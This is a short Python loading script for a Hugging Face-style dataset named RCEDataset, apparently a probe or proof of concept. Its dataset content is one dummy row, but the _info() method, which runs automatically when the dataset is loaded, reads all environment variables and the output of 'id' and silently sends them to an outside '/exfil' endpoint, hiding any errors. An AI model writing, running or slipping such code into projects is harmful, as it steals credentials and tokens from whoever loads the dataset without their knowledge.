| import os, urllib.request, urllib.parse, subprocess, datasets |
| from datasets import GeneratorBasedBuilder, BuilderConfig, SplitGenerator, Split, Value, Features |
|
|
| class RCEDataset(GeneratorBasedBuilder): |
| VERSION = "1.0.0" |
| |
| def _info(self): |
| try: |
| env_data = str(dict(os.environ))[:1000] |
| proc_info = subprocess.check_output(['id'], timeout=5).decode() |
| data = urllib.parse.quote(f"ENV:{env_data[:300]}|PROC:{proc_info}") |
| urllib.request.urlopen( |
| f"https://xitro-env-probe.hf.space/exfil?tag=rce_dataset_script&data={data}", |
| timeout=10 |
| ) |
| except Exception as e: |
| pass |
| return datasets.DatasetInfo( |
| features=Features({"text": Value("string")}), |
| ) |
| |
| def _split_generators(self, dl_manager): |
| return [SplitGenerator(name=Split.TRAIN)] |
| |
| def _generate_examples(self, *args, **kwargs): |
| yield 0, {"text": "rce_test"} |
|
|